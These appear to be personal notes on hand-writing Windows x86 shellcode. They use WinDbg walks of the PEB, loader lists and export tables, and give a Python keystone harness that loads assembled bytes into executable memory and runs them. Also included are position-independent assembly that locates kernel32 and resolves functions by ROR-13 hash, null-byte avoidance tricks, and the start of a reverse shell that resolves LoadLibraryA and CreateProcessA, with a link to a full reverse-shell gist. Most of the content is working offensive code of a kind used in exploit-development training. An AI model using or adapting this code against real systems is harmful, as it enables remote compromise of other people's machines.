Manally Get Load Address of DLL via Windbg
dt nt!_TEB @$teb
...
+0x060 ProcessEnvironmentBlock : 0x00000017`1c438000 _PEB
...
dt nt!_PEB 0x171c438000 (also at [FS:0x30])
...
+0x018 Ldr : 0x00007ff9`5e21a4c0 _PEB_LDR_DATA
...
dt _PEB_LDR_DATA 0x7ff95e21a4c0
...
+0x010 InLoadOrderModuleList : _LIST_ENTRY [ 0x000001ea`075c2830 - 0x000001ea`075ec540 ]
+0x020 InMemoryOrderModuleList : _LIST_ENTRY [ 0x000001ea`075c2840 - 0x000001ea`075ec550 ]
+0x030 InInitializationOrderModuleList : _LIST_ENTRY [ 0x000001ea`075c26c0 - 0x000001ea`075ed3a0 ]
...
dt _LIST_ENTRY 0x1ea075c2830
+0x000 Flink : 0x000001ea075c26a0 _LIST_ENTRY [ 0x000001ea`075c2dc0 - 0x000001ea`075c2830 ]
+0x008 Blink : 0x00007ff95e21a4d0 _LIST_ENTRY [ 0x000001ea`075c2830 - 0x000001ea`075ec540 ]
dt _LDR_DATA_TABLE_ENTRY 0x1ea075c26a0
+0x000 InLoadOrderLinks : _LIST_ENTRY [ 0x000001ea`075c2dc0 - 0x000001ea`075c2830 ]
+0x010 InMemoryOrderLinks : _LIST_ENTRY [ 0x000001ea`075c2dd0 - 0x000001ea`075c2840 ]
+0x020 InInitializationOrderLinks : _LIST_ENTRY [ 0x000001ea`075c33f0 - 0x00007ff9`5e21a4f0 ]
+0x030 DllBase : 0x00007ff9`5e0b0000 Void
+0x038 EntryPoint : (null)
+0x040 SizeOfImage : 0x1f5000
+0x048 FullDllName : _UNICODE_STRING "C:\Windows\SYSTEM32\ntdll.dll"
+0x058 BaseDllName : _UNICODE_STRING "ntdll.dll"
Manually get RVA of Export Directory Table via Windbg
lm m kernel32
start end module name
76150000 76240000 KERNEL32
dt ntdll!_IMAGE_DOS_HEADER 76150000
...
+0x03c e_lfanew : 0n248 // ? 0n248 = 0xf8
dt ntdll!_IMAGE_NT_HEADERS 76150000 + 0xf8
...
+0x000 Signature : 0x4550
+0x004 FileHeader : _IMAGE_FILE_HEADER
+0x018 OptionalHeader : _IMAGE_OPTIONAL_HEADER
dt ntdll!_IMAGE_OPTIONAL_HEADER 76150000 + 0xf8 + 0x18
...
+0x060 DataDirectory : [16] _IMAGE_DATA_DIRECTORY // array of len 16
dt _IMAGE_DATA_DIRECTORY
ntdll!_IMAGE_DATA_DIRECTORY
+0x000 VirtualAddress : Uint4B
+0x004 Size : Uint4B
dt ntdll!_IMAGE_DATA_DIRECTORY 76150000 + 0xf8 + 0x18 + 0x60
+0x000 VirtualAddress : 0x92c70 // VA of Export Directory Table
+0x004 Size : 0xdc14
Write Shellcode & Test
Attach debugger when python is waiting for input - breakpoint will be hit when continuing & you can debug your shellcode.
import ctypes, struct
from keystone import *
# Run with python2.7 32bit, pip install keystone-engine
CODE = (
" start: "
" int3 ; "
" ... "
)
# ks = Ks(KS_ARCH_X64, KS_MODE_64)
ks = Ks(KS_ARCH_X86, KS_MODE_32)
encoding, count = ks.asm(CODE)
print("%d instructions..." % count)
sh = b""
for e in encoding:
sh += struct.pack("B", e)
shellcode = bytearray(sh)
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
buf,
ctypes.c_int(len(shellcode)))
print("Shellcode @ %s" % hex(ptr))
a = raw_input("Execute?")
ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_int(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht), ctypes.c_int(-1))
Find Kernel32.dll Load Address
CODE = (
" start: "
" int3 ;"
" mov ebp, esp ;"
" sub esp, 200h ;"
" find_kernel32: "
" xor ecx, ecx ;"
" mov esi,fs:[ecx+30h] ;"
" mov esi,[esi+0Ch] ;"
" mov esi,[esi+1Ch] ;"
" mov ebx, [esi+8h] ;"
" mov edi, [esi+20h] ;"
" mov esi, [esi] ;"
" cmp [edi+12*2], cx ;"
" jne next_module ;"
" find_function: "
" ret "
)
Find Kernel32.dll Load Address & Function
https://gist.github.com/xct/96a4abb9381637a0a0f0f0471d9b4660
To search for a specific function we use a 4-byte hashing function instead of a string compare:
Python
#!/usr/bin/python
import numpy, sys
def ror_str(byte, count):
binb = numpy.base_repr(byte, 2).zfill(32)
while count > 0:
binb = binb[-1] + binb[0:-1]
count -= 1
return (int(binb, 2))
if __name__ == '__main__':
try:
esi = sys.argv[1]
except IndexError:
print("Usage: %s INPUTSTRING" % sys.argv[0])
sys.exit()
# Initialize variables
edx = 0x00
ror_count = 0
for eax in esi:
edx = edx + ord(eax)
if ror_count < len(esi)-1:
edx = ror_str(edx, 0xd)
ror_count += 1
print(hex(edx))
Assembly
" compute_hash: "
" xor eax, eax ;"
" cdq ;"
" cld ;"
" compute_hash_again: "
" lodsb ;"
" test al, al ;"
" jz compute_hash_finished ;"
" ror edx, 0x0d ;"
" add edx, eax ;"
" jmp compute_hash_again ;"
" compute_hash_finished: "
In order to avoid null bytes, instructions like sub esp, 0x200
can be replaced with adding a large value that achives the same:
? 0x0 -0x204
Evaluate expression: -516 = fffffdfc
sub esp, 0x204 == add esp, fffffdfc
Position Independent Shellcode
Basic idea is to find address of shellcode in memory and use that for calculations.
CODE = (
" start: "
" int3 ;"
" mov ebp, esp ;"
" add esp, 0xfffffdfc ;"
" find_kernel32: "
" xor ecx, ecx ;"
" mov esi,fs:[ecx+30h] ;"
" mov esi,[esi+0Ch] ;"
" mov esi,[esi+1Ch] ;"
" next_module: "
" mov ebx, [esi+8h] ;"
" mov edi, [esi+20h] ;"
" mov esi, [esi] ;"
" cmp [edi+12*2], cx ;"
" jne next_module ;"
" find_function_shorten: "
" jmp find_function_shorten_bnc ;"
" find_function_ret: "
" pop esi ;" # ret addr, start of find_function
" mov [ebp+0x04], esi ;"
" jmp resolve_symbols_kernel32 ;"
" find_function_shorten_bnc: "
" call find_function_ret ;" # rel call
" find_function: "
" pushad ;"
" mov eax, [ebx+0x3c] ;"
" mov edi, [ebx+eax+0x78] ;"
" add edi, ebx ;"
" mov ecx, [edi+0x18] ;"
" mov eax, [edi+0x20] ;"
" add eax, ebx ;"
" mov [ebp-4], eax ;"
" find_function_loop: "
" jecxz find_function_finished ;"
" dec ecx ;"
" mov eax, [ebp-4] ;"
" mov esi, [eax+ecx*4] ;"
" add esi, ebx ;"
" compute_hash: "
" xor eax, eax ;"
" cdq ;"
" cld ;"
" compute_hash_again: "
" lodsb ;"
" test al, al ;"
" jz compute_hash_finished ;"
" ror edx, 0x0d ;"
" add edx, eax ;"
" jmp compute_hash_again ;"
" compute_hash_finished: "
" find_function_compare: "
" cmp edx, [esp+0x24] ;"
" jnz find_function_loop ;"
" mov edx, [edi+0x24] ;"
" add edx, ebx ;"
" mov cx, [edx+2*ecx] ;"
" mov edx, [edi+0x1c] ;"
" add edx, ebx ;"
" mov eax, [edx+4*ecx] ;"
" add eax, ebx ;"
" mov [esp+0x1c], eax ;"
" find_function_finished: "
" popad ;"
" ret ;"
" resolve_symbols_kernel32: "
" push 0x78b5b983 ;" # Hash of Func
" call dword ptr [ebp+0x04] ;" # Call find_function
" mov [ebp+0x10], eax ;"
" exec_shellcode: "
" xor ecx, ecx ;"
" push ecx ;"
" push 0xffffffff ;"
" call dword ptr [ebp+0x10] ;" # Call Func
)
Reverse Shell
We can extend resolve-symbols-kernel32 to retrieve multiple symbols like so:
" resolve_symbols_kernel32: "
" push 0x78b5b983 ;" # Exit hash
" call dword ptr [ebp+0x04] ;"
" mov [ebp+0x10], eax ;"
" push 0xec0e4e8e ;" # LoadLibraryA hash
" call dword ptr [ebp+0x04] ;"
" mov [ebp+0x14], eax ;"
" push 0x16b3fe72 ;" # CreateProcessA hash
" call dword ptr [ebp+0x04] ;"
" mov [ebp+0x18], eax ;"
Then we need to call LoadLibraryA and resolve the symbols in the loaded library again and call a useful function with the correct arguments.
IP Address
Convert for shellcode using windbg: https://gchq.github.io/CyberChef/#recipe=From_Decimal('Space',false)To_Hex('Space',0)&input=MTkyIDE2OCAxNTMgMTI5
Full Reverse Shell Code (32-Bit Windows 10)
https://gist.github.com/xct/33a7623f43397a96c74bc69f226f0936
References